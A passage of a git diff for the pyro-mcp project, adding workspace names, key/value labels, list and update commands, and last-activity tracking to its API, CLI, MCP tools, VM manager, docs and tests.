Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) 5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) @@ -55,6 +55,9 @@ Completed so far: - `3.2.0` added model-native `workspace file *` and `workspace patch apply` so chat-driven agents can inspect and edit `/workspace` without shell-escaped file mutation flows. +- `3.3.0` added workspace names, key/value labels, `workspace list`, `workspace update`, and + `last_activity_at` tracking so humans and chat-driven agents can rediscover and resume the right + workspace without external notes. ## Expected Outcome diff --git a/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md b/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md index 355e413..5081196 100644 --- a/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md +++ b/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md @@ -1,6 +1,6 @@ # `3.3.0` Workspace Naming And Discovery -Status: Planned +Status: Done ## Goal @@ -50,3 +50,4 @@ Planned additions: - README and install docs that show parallel named workspaces - examples that demonstrate issue-oriented workspace naming - smoke coverage for at least one multi-workspace flow +- public contract, CLI help, and examples that show `workspace list` and `workspace update` diff --git a/examples/python_workspace.py b/examples/python_workspace.py index 019a1d6..79e338e 100644 --- a/examples/python_workspace.py +++ b/examples/python_workspace.py @@ -22,6 +22,8 @@ def main() -> None: created = pyro.create_workspace( environment="debian:12", seed_path=seed_dir, + name="repro-fix", + labels={"issue": "123"}, network_policy="egress+published-ports", secrets=[ {"name": "API_TOKEN", "value": "expected"}, @@ -30,6 +32,13 @@ def main() -> None: ) workspace_id = str(created["workspace_id"]) try: + listed = pyro.list_workspaces() + print(f"workspace_count={listed['count']}") + updated = pyro.update_workspace( + workspace_id, + labels={"owner": "codex"}, + ) + print(updated["labels"]["owner"]) pyro.push_workspace_sync(workspace_id, sync_dir) files = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) print(f"workspace_entries={len(files['entries'])}") diff --git a/pyproject.toml b/pyproject.toml index 6314939..81c0329 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.2.0" +version = "3.3.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 3a63bc7..28ba252 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -89,6 +89,8 @@ class Pyro: allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, seed_path: str | Path | None = None, secrets: list[dict[str, str]] | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, ) -> dict[str, Any]: return self._manager.create_workspace( environment=environment, @@ -99,6 +101,28 @@ class Pyro: allow_host_compat=allow_host_compat, seed_path=seed_path, secrets=secrets, + name=name, + labels=labels, + ) + + def list_workspaces(self) -> dict[str, Any]: + return self._manager.list_workspaces() + + def update_workspace( + self, + workspace_id: str, + *, + name: str | None = None, + clear_name: bool = False, + labels: dict[str, str] | None = None, + clear_labels: list[str] | None = None, + ) -> dict[str, Any]: + return self._manager.update_workspace( + workspace_id, + name=name, + clear_name=clear_name, + labels=labels, + clear_labels=clear_labels, ) def exec_workspace( @@ -508,6 +532,8 @@ class Pyro: allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, seed_path: str | None = None, secrets: list[dict[str, str]] | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, ) -> dict[str, Any]: """Create and start a persistent workspace.""" return self.create_workspace( @@ -519,6 +545,30 @@ class Pyro: allow_host_compat=allow_host_compat, seed_path=seed_path, secrets=secrets, + name=name, + labels=labels, + ) + + @server.tool() + async def workspace_list() -> dict[str, Any]: + """List persisted workspaces with summary metadata.""" + return self.list_workspaces() + + @server.tool() + async def workspace_update( + workspace_id: str, + name: str | None = None, + clear_name: bool = False, + labels: dict[str, str] | None = None, + clear_labels: list[str] | None = None, + ) -> dict[str, Any]: + """Update optional workspace name and labels.""" + return self.update_workspace( + workspace_id, + name=name, + clear_name=clear_name, + labels=labels, + clear_labels=clear_labels, ) @server.tool() diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index ac4416f..f616f50 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -159,9 +159,21 @@ def _print_doctor_human(payload: dict[str, Any]) -> None: def _print_workspace_summary_human(payload: dict[str, Any], *, action: str) -> None: print(f"{action} ID: {str(payload.get('workspace_id', 'unknown'))}") + name = payload.get("name") + if isinstance(name, str) and name != "": + print(f"Name: {name}") + labels = payload.get("labels") + if isinstance(labels, dict) and labels: + rendered_labels = ", ".join( + f"{str(key)}={str(value)}" for key, value in sorted(labels.items()) + ) + print(f"Labels: {rendered_labels}") print(f"Environment: {str(payload.get('environment', 'unknown'))}") print(f"State: {str(payload.get('state', 'unknown'))}") print(f"Workspace: {str(payload.get('workspace_path', '/workspace'))}") + last_activity_at = payload.get("last_activity_at") + if last_activity_at is not None: + print(f"Last activity at: {last_activity_at}") print(f"Network policy: {str(payload.get('network_policy', 'off'))}") workspace_seed = payload.get("workspace_seed") if isinstance(workspace_seed, dict): @@ -207,6 +219,39 @@ def _print_workspace_summary_human(payload: dict[str, Any], *, action: str) -> N ) +def _print_workspace_list_human(payload: dict[str, Any]) -> None: + workspaces = payload.get("workspaces") + if not isinstance(workspaces, list) or not workspaces: + print("No workspaces.") + return + for workspace in workspaces: + if not isinstance(workspace, dict): + continue + rendered_labels = "" + labels = workspace.get("labels") + if isinstance(labels, dict) and labels: + rendered_labels = " labels=" + ",".join( + f"{str(key)}={str(value)}" for key, value in sorted(labels.items()) + ) + rendered_name = "" + name = workspace.get("name") + if isinstance(name, str) and name != "": + rendered_name = f" name={name!r}" + print( + "[workspace] " + f"workspace_id={str(workspace.get('workspace_id', 'unknown'))}" + f"{rendered_name} " + f"state={str(workspace.get('state', 'unknown'))} " + f"environment={str(workspace.get('environment', 'unknown'))}" + f"{rendered_labels} " + f"last_activity_at={workspace.get('last_activity_at')} " + f"expires_at={workspace.get('expires_at')} " + f"commands={int(workspace.get('command_count', 0))} " + f"services={int(workspace.get('running_service_count', 0))}/" + f"{int(workspace.get('service_count', 0))}" + ) + + def _print_workspace_exec_human(payload: dict[str, Any]) -> None: stdout = str(payload.get("stdout", "")) stderr = str(payload.get("stderr", "")) @@ -799,6 +844,9 @@ def _build_parser() -> argparse.ArgumentParser: """ Examples: pyro workspace create debian:12 --seed-path ./repo + pyro workspace create debian:12 --name repro-fix --label issue=123 + pyro workspace list + pyro workspace update WORKSPACE_ID --name retry-run --label owner=codex pyro workspace sync push WORKSPACE_ID ./repo --dest src pyro workspace file read WORKSPACE_ID src/app.py pyro workspace patch apply WORKSPACE_ID --patch "$(cat fix.patch)" @@ -839,8 +887,11 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro workspace create debian:12 pyro workspace create debian:12 --seed-path ./repo + pyro workspace create debian:12 --name repro-fix --label issue=123 pyro workspace create debian:12 --network-policy egress pyro workspace create debian:12 --secret API_TOKEN=expected + pyro workspace list + pyro workspace update WORKSPACE_ID --label owner=codex pyro workspace sync push WORKSPACE_ID ./changes pyro workspace snapshot create WORKSPACE_ID checkpoint pyro workspace reset WORKSPACE_ID --snapshot checkpoint @@ -895,6 +946,17 @@ def _build_parser() -> argparse.ArgumentParser: "before the workspace is returned." ), ) + workspace_create_parser.add_argument( + "--name", + help="Optional human-friendly workspace name.", + ) + workspace_create_parser.add_argument( + "--label", + action="append", + default=[], + metavar="KEY=VALUE", + help="Attach one discovery label to the workspace. May be repeated.", + ) workspace_create_parser.add_argument( "--secret", action="append", @@ -1804,6 +1866,58 @@ while true; do sleep 60; done' action="store_true", help="Print structured JSON instead of human-readable output.", ) + workspace_list_parser = workspace_subparsers.add_parser( + "list", + help="List persisted workspaces.", + description="List persisted workspaces with names, labels, state, and activity ordering.", + epilog="Example:\n pyro workspace list", + formatter_class=_HelpFormatter, + ) + workspace_list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_update_parser = workspace_subparsers.add_parser( + "update", + help="Update workspace name or labels.", + description="Update discovery metadata for one existing workspace.", + epilog=dedent( + """ + Examples: + pyro workspace update WORKSPACE_ID --name repro-fix + pyro workspace update WORKSPACE_ID --label owner=codex --label issue=123 + pyro workspace update WORKSPACE_ID --clear-label issue --clear-name + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_update_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_update_parser.add_argument("--name", help="Set or replace the workspace name.") + workspace_update_parser.add_argument( + "--clear-name", + action="store_true", + help="Clear the current workspace name.", + ) + workspace_update_parser.add_argument( + "--label", + action="append", + default=[], + metavar="KEY=VALUE", + help="Upsert one workspace label. May be repeated.", + ) + workspace_update_parser.add_argument( + "--clear-label", + action="append", + default=[], + metavar="KEY", + help="Remove one workspace label key. May be repeated.", + ) + workspace_update_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) workspace_status_parser = workspace_subparsers.add_parser( "status", help="Inspect one workspace.", @@ -1975,6 +2089,26 @@ def _parse_workspace_secret_env_options(values: list[str]) -> dict[str, str]: return parsed +def _parse_workspace_label_options(values: list[str]) -> dict[str, str]: + parsed: dict[str, str] = {} + for raw_value in values: + key, sep, label_value = raw_value.partition("=") + if sep == "" or key.strip() == "" or label_value.strip() == "": + raise ValueError("workspace labels must use KEY=VALUE") + parsed[key.strip()] = label_value.strip() + return parsed + + +def _parse_workspace_clear_label_options(values: list[str]) -> list[str]: + parsed: list[str] = [] + for raw_value in values: + label_key = raw_value.strip() + if label_key == "": + raise ValueError("workspace clear-label values must not be empty") + parsed.append(label_key) + return parsed + + def _parse_workspace_publish_options(values: list[str]) -> list[dict[str, int | None]]: parsed: list[dict[str, int | None]] = [] for raw_value in values: @@ -2103,6 +2237,7 @@ def main() -> None: for value in getattr(args, "secret_file", []) ), ] + labels = _parse_workspace_label_options(getattr(args, "label", [])) payload = pyro.create_workspace( environment=args.environment, vcpu_count=args.vcpu_count, @@ -2112,12 +2247,45 @@ def main() -> None: allow_host_compat=args.allow_host_compat, seed_path=args.seed_path, secrets=secrets or None, + name=args.name, + labels=labels or None, ) if bool(args.json): _print_json(payload) else: _print_workspace_summary_human(payload, action="Workspace") return + if args.workspace_command == "list": + payload = pyro.list_workspaces() + if bool(args.json): + _print_json(payload) + else: + _print_workspace_list_human(payload) + return + if args.workspace_command == "update": + labels = _parse_workspace_label_options(getattr(args, "label", [])) + clear_labels = _parse_workspace_clear_label_options( + getattr(args, "clear_label", []) + ) + try: + payload = pyro.update_workspace( + args.workspace_id, + name=args.name, + clear_name=bool(args.clear_name), + labels=labels or None, + clear_labels=clear_labels or None, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_summary_human(payload, action="Workspace") + return if args.workspace_command == "exec": command = _require_command(args.command_args) secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index bcf117b..b224565 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -13,6 +13,7 @@ PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( "exec", "export", "file", + "list", "logs", "patch", "reset", @@ -23,6 +24,7 @@ PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( "status", "stop", "sync", + "update", ) PUBLIC_CLI_WORKSPACE_DISK_SUBCOMMANDS = ("export", "list", "read") PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS = ("list", "read", "write") @@ -38,6 +40,8 @@ PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( "--network-policy", "--allow-host-compat", "--seed-path", + "--name", + "--label", "--secret", "--secret-file", "--json", @@ -51,6 +55,7 @@ PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS = ("--recursive", "--json") PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS = ("--max-bytes", "--json") PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS = ("--text", "--json") +PUBLIC_CLI_WORKSPACE_LIST_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS = ("--patch", "--json") PUBLIC_CLI_WORKSPACE_RESET_FLAGS = ("--snapshot", "--json") PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS = ("--json",) @@ -87,6 +92,13 @@ PUBLIC_CLI_WORKSPACE_START_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_STATUS_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_STOP_FLAGS = ("--json",) PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS = ("--dest", "--json") +PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS = ( + "--name", + "--clear-name", + "--label", + "--clear-label", + "--json", +) PUBLIC_CLI_RUN_FLAGS = ( "--vcpu-count", "--mem-mib", @@ -118,6 +130,7 @@ PUBLIC_SDK_METHODS = ( "list_snapshots", "list_workspace_disk", "list_workspace_files", + "list_workspaces", "logs_service", "logs_workspace", "network_info_vm", @@ -141,6 +154,7 @@ PUBLIC_SDK_METHODS = ( "stop_service", "stop_vm", "stop_workspace", + "update_workspace", "write_shell", "write_workspace_file", ) @@ -171,15 +185,16 @@ PUBLIC_MCP_TOOLS = ( "vm_stop", "workspace_create", "workspace_delete", + "workspace_diff", "workspace_disk_export", "workspace_disk_list", "workspace_disk_read", - "workspace_diff", "workspace_exec", "workspace_export", "workspace_file_list", "workspace_file_read", "workspace_file_write", + "workspace_list", "workspace_logs", "workspace_patch_apply", "workspace_reset", @@ -187,4 +202,5 @@ PUBLIC_MCP_TOOLS = ( "workspace_status", "workspace_stop", "workspace_sync_push", + "workspace_update", ) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 51420b4..600cb57 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.2.0" +DEFAULT_CATALOG_VERSION = "3.3.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index c3561a7..c3fb329 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -78,7 +78,7 @@ DEFAULT_TIMEOUT_SECONDS = 30 DEFAULT_TTL_SECONDS = 600 DEFAULT_ALLOW_HOST_COMPAT = False -WORKSPACE_LAYOUT_VERSION = 7 +WORKSPACE_LAYOUT_VERSION = 8 WORKSPACE_BASELINE_DIRNAME = "baseline" WORKSPACE_BASELINE_ARCHIVE_NAME = "workspace.tar" WORKSPACE_SNAPSHOTS_DIRNAME = "snapshots" @@ -109,6 +109,7 @@ WORKSPACE_SHELL_SIGNAL_NAMES = shell_signal_names() WORKSPACE_SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") WORKSPACE_SNAPSHOT_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") WORKSPACE_SECRET_NAME_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]{0,63}$") +WORKSPACE_LABEL_KEY_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") WorkspaceSeedMode = Literal["empty", "directory", "tar_archive"] WorkspaceArtifactType = Literal["file", "directory", "symlink"] @@ -156,6 +157,9 @@ class WorkspaceRecord: last_error: str | None = None metadata: dict[str, str] = field(default_factory=dict) network: NetworkConfig | None = None + name: str | None = None + labels: dict[str, str] = field(default_factory=dict) + last_activity_at: float = 0.0 command_count: int = 0 last_command: dict[str, Any] | None = None workspace_seed: dict[str, Any] = field(default_factory=dict) @@ -173,6 +177,8 @@ class WorkspaceRecord: last_command: dict[str, Any] | None = None, workspace_seed: dict[str, Any] | None = None, secrets: list[WorkspaceSecretRecord] | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, ) -> WorkspaceRecord: return cls( workspace_id=instance.vm_id, @@ -189,6 +195,9 @@ class WorkspaceRecord: last_error=instance.last_error, metadata=dict(instance.metadata), network=instance.network, + name=name, + labels=dict(labels or {}), + last_activity_at=instance.created_at, command_count=command_count, last_command=last_command, workspace_seed=dict(workspace_seed or _empty_workspace_seed_payload()), @@ -233,6 +242,9 @@ class WorkspaceRecord: "last_error": self.last_error, "metadata": self.metadata, "network": _serialize_network(self.network), + "name": self.name, + "labels": self.labels, + "last_activity_at": self.last_activity_at, "command_count": self.command_count, "last_command": self.last_command, "workspace_seed": self.workspace_seed, @@ -258,6 +270,11 @@ class WorkspaceRecord: last_error=_optional_str(payload.get("last_error")), metadata=_string_dict(payload.get("metadata")), network=_deserialize_network(payload.get("network")), + name=_normalize_workspace_name(_optional_str(payload.get("name")), allow_none=True), + labels=_normalize_workspace_labels(payload.get("labels")), + last_activity_at=float( + payload.get("last_activity_at", float(payload["created_at"])) + ), command_count=int(payload.get("command_count", 0)), last_command=_optional_dict(payload.get("last_command")), workspace_seed=_workspace_seed_dict(payload.get("workspace_seed")), @@ -1287,6 +1304,65 @@ def _normalize_workspace_service_name(service_name: str) -> str: return normalized +def _normalize_workspace_name( + name: str | None, + *, + allow_none: bool = False, +) -> str | None: + if name is None: + if allow_none: + return None + raise ValueError("name must not be empty") + normalized = name.strip() + if normalized == "": + if allow_none: + return None + raise ValueError("name must not be empty") + if len(normalized) > 120: + raise ValueError("name must be at most 120 characters") + return normalized + + +def _normalize_workspace_label_key(label_key: str) -> str: + normalized = label_key.strip() + if normalized == "": + raise ValueError("label key must not be empty") + if WORKSPACE_LABEL_KEY_RE.fullmatch(normalized) is None: + raise ValueError( + "label key must match " + r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$" + ) + return normalized + + +def _normalize_workspace_label_value(label_key: str, label_value: str) -> str: + normalized = label_value.strip() + if normalized == "": + raise ValueError(f"label {label_key!r} must not be empty") + if len(normalized) > 120: + raise ValueError(f"label {label_key!r} must be at most 120 characters") + if "\n" in normalized or "\r" in normalized: + raise ValueError(f"label {label_key!r} must not contain newlines") + try: + normalized.encode("utf-8") + except UnicodeEncodeError as exc: + raise ValueError(f"label {label_key!r} must be valid UTF-8 text") from exc + return normalized + + +def _normalize_workspace_labels(value: object) -> dict[str, str]: + if value is None: + return {} + if not isinstance(value, dict): + raise ValueError("labels must be an object mapping keys to values") + normalized: dict[str, str] = {} + for raw_key, raw_value in value.items(): + key = _normalize_workspace_label_key(str(raw_key)) + label_value = _normalize_workspace_label_value(key, str(raw_value)) + normalized[key] = label_value + return dict(sorted(normalized.items())) + + def _normalize_workspace_snapshot_name( snapshot_name: str, *, @@ -3643,10 +3719,14 @@ class VmManager: allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, seed_path: str | Path | None = None, secrets: list[dict[str, str]] | None = None, + name: str | None = None, + labels: dict[str, str] | None = None, ) -> dict[str, Any]: self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) get_environment(environment, runtime_paths=self._runtime_paths) normalized_network_policy = _normalize_workspace_network_policy(str(network_policy)) + normalized_name = None if name is None else _normalize_workspace_name(name) + normalized_labels = _normalize_workspace_labels(labels) prepared_seed = self._prepare_workspace_seed(seed_path) now = time.time() workspace_id = uuid.uuid4().hex[:12] @@ -3709,6 +3789,8 @@ class VmManager: network_policy=normalized_network_policy, workspace_seed=prepared_seed.to_payload(), secrets=secret_records, + name=normalized_name, + labels=normalized_labels, ) if workspace.secrets: self._install_workspace_secrets_locked(workspace, instance) @@ -3787,6 +3869,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) return { "workspace_id": workspace_id, @@ -3794,6 +3877,77 @@ class VmManager: "workspace_sync": workspace_sync, } + def list_workspaces(self) -> dict[str, Any]: + with self._lock: + now = time.time() + self._reap_expired_workspaces_locked(now) + workspaces: list[WorkspaceRecord] = [] + for metadata_path in self._workspaces_dir.glob("*/workspace.json"): + payload = json.loads(metadata_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + workspace = WorkspaceRecord.from_payload(payload) + self._refresh_workspace_liveness_locked(workspace) + self._refresh_workspace_service_counts_locked(workspace) + self._save_workspace_locked(workspace) + workspaces.append(workspace) + workspaces.sort( + key=lambda item: ( + -item.last_activity_at, + -item.created_at, + item.workspace_id, + ) + ) + return { + "count": len(workspaces), + "workspaces": [ + self._serialize_workspace_list_item(workspace) for workspace in workspaces + ], + } + + def update_workspace( + self, + workspace_id: str, + *, + name: str | None = None, + clear_name: bool = False, + labels: dict[str, str] | None = None, + clear_labels: list[str] | None = None, + ) -> dict[str, Any]: + if name is not None and clear_name: + raise ValueError("name and clear_name cannot be used together") + normalized_name = None if name is None else _normalize_workspace_name(name) + normalized_labels = None if labels is None else _normalize_workspace_labels(labels) + normalized_clear_labels = [ + _normalize_workspace_label_key(label_key) for label_key in (clear_labels or []) + ] + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + updated = False + if clear_name: + if workspace.name is not None: + workspace.name = None + updated = True + elif normalized_name is not None and workspace.name != normalized_name: + workspace.name = normalized_name + updated = True + if normalized_labels is not None: + for label_key, label_value in normalized_labels.items(): + if workspace.labels.get(label_key) != label_value: + workspace.labels[label_key] = label_value + updated = True + for label_key in normalized_clear_labels: + if label_key in workspace.labels: + del workspace.labels[label_key] + updated = True + workspace.labels = dict(sorted(workspace.labels.items())) + if not updated: + raise ValueError("workspace update requested no effective metadata change") + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) + def export_workspace( self, workspace_id: str, @@ -3950,6 +4104,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) return { "workspace_id": workspace_id, @@ -4105,6 +4260,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) return { "workspace_id": workspace_id, @@ -4179,6 +4335,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) self._save_workspace_snapshot_locked(snapshot) return { @@ -4213,6 +4370,8 @@ class VmManager: self._workspace_baseline_snapshot_locked(workspace) self._load_workspace_snapshot_locked(workspace_id, normalized_snapshot_name) self._delete_workspace_snapshot_locked(workspace_id, normalized_snapshot_name) + self._touch_workspace_activity_locked(workspace) + self._save_workspace_locked(workspace) return { "workspace_id": workspace_id, "snapshot_name": normalized_snapshot_name, @@ -4278,6 +4437,7 @@ class VmManager: workspace.last_command = None workspace.reset_count += 1 workspace.last_reset_at = time.time() + self._touch_workspace_activity_locked(workspace, when=workspace.last_reset_at) self._save_workspace_locked(workspace) payload = self._serialize_workspace(workspace) except Exception: @@ -4425,6 +4585,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) self._save_workspace_shell_locked(shell) return self._serialize_workspace_shell(shell) @@ -4516,6 +4677,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) self._save_workspace_shell_locked(updated_shell) response = self._serialize_workspace_shell(updated_shell) @@ -4565,6 +4727,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) self._save_workspace_shell_locked(updated_shell) response = self._serialize_workspace_shell(updated_shell) @@ -4601,6 +4764,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) self._delete_workspace_shell_locked(workspace_id, shell_id) response = self._serialize_workspace_shell(closed_shell) @@ -4720,6 +4884,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) self._save_workspace_service_locked(service) return self._serialize_workspace_service(service) @@ -4799,6 +4964,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = instance.last_error workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) self._save_workspace_service_locked(service) response = self._serialize_workspace_service(service) @@ -4897,8 +5063,10 @@ class VmManager: workspace.firecracker_pid = None workspace.last_error = str(exc) workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) raise + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) return self._serialize_workspace(workspace) @@ -4909,6 +5077,7 @@ class VmManager: self._refresh_workspace_liveness_locked(workspace) if workspace.state == "started": self._refresh_workspace_service_counts_locked(workspace) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) return self._serialize_workspace(workspace) instance = workspace.to_instance( @@ -4931,6 +5100,7 @@ class VmManager: workspace.firecracker_pid = instance.firecracker_pid workspace.last_error = None workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) return self._serialize_workspace(workspace) except Exception as exc: @@ -4945,6 +5115,7 @@ class VmManager: workspace.firecracker_pid = None workspace.last_error = str(exc) workspace.metadata = dict(instance.metadata) + self._touch_workspace_activity_locked(workspace) self._save_workspace_locked(workspace) raise @@ -5081,12 +5252,15 @@ class VmManager: ) return { "workspace_id": workspace.workspace_id, + "name": workspace.name, + "labels": dict(workspace.labels), "environment": workspace.environment, "environment_version": workspace.metadata.get("environment_version"), "vcpu_count": workspace.vcpu_count, "mem_mib": workspace.mem_mib, "ttl_seconds": workspace.ttl_seconds, "created_at": workspace.created_at, + "last_activity_at": workspace.last_activity_at, "expires_at": workspace.expires_at, "state": workspace.state, "network_policy": workspace.network_policy, @@ -5109,6 +5283,24 @@ class VmManager: "metadata": workspace.metadata, } + def _serialize_workspace_list_item(self, workspace: WorkspaceRecord) -> dict[str, Any]: + service_count, running_service_count = self._workspace_service_counts_locked( + workspace.workspace_id + ) + return { + "workspace_id": workspace.workspace_id, + "name": workspace.name, + "labels": dict(workspace.labels), + "environment": workspace.environment, + "state": workspace.state, + "created_at": workspace.created_at, + "last_activity_at": workspace.last_activity_at, + "expires_at": workspace.expires_at, + "command_count": workspace.command_count, + "service_count": service_count, + "running_service_count": running_service_count, + } + def _serialize_workspace_shell(self, shell: WorkspaceShellRecord) -> dict[str, Any]: return { "workspace_id": shell.workspace_id, @@ -5258,6 +5450,14 @@ class VmManager: env_values[env_name] = secret_values[secret_name] return env_values + def _touch_workspace_activity_locked( + self, + workspace: WorkspaceRecord, + *, + when: float | None = None, + ) -> None: + workspace.last_activity_at = time.time() if when is None else when + def _install_workspace_secrets_locked( self, workspace: WorkspaceRecord, @@ -5626,6 +5826,7 @@ class VmManager: "duration_ms": exec_result.duration_ms, "execution_mode": execution_mode, } + self._touch_workspace_activity_locked(workspace) return entry def _read_workspace_logs_locked(self, workspace_id: str) -> list[dict[str, Any]]: diff --git a/tests/test_api.py b/tests/test_api.py index 7030b8d..533ad43 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -50,6 +50,8 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: assert "vm_run" in tool_names assert "vm_create" in tool_names assert "workspace_create" in tool_names + assert "workspace_list" in tool_names + assert "workspace_update" in tool_names assert "workspace_start" in tool_names assert "workspace_stop" in tool_names assert "workspace_diff" in tool_names @@ -140,6 +142,14 @@ def test_pyro_workspace_network_policy_and_published_ports_delegate() -> None: calls.append(("create_workspace", kwargs)) return {"workspace_id": "workspace-123"} + def list_workspaces(self) -> dict[str, Any]: + calls.append(("list_workspaces", {})) + return {"count": 1, "workspaces": [{"workspace_id": "workspace-123"}]} + + def update_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: + calls.append(("update_workspace", {"workspace_id": workspace_id, **kwargs})) + return {"workspace_id": workspace_id, "name": "repro-fix", "labels": {"owner": "codex"}} + def start_service( self, workspace_id: str, @@ -163,6 +173,15 @@ def test_pyro_workspace_network_policy_and_published_ports_delegate() -> None: pyro.create_workspace( environment="debian:12", network_policy="egress+published-ports", + name="repro-fix", + labels={"issue": "123"}, + ) + pyro.list_workspaces() + pyro.update_workspace( + "workspace-123", + name="repro-fix", + labels={"owner": "codex"}, + 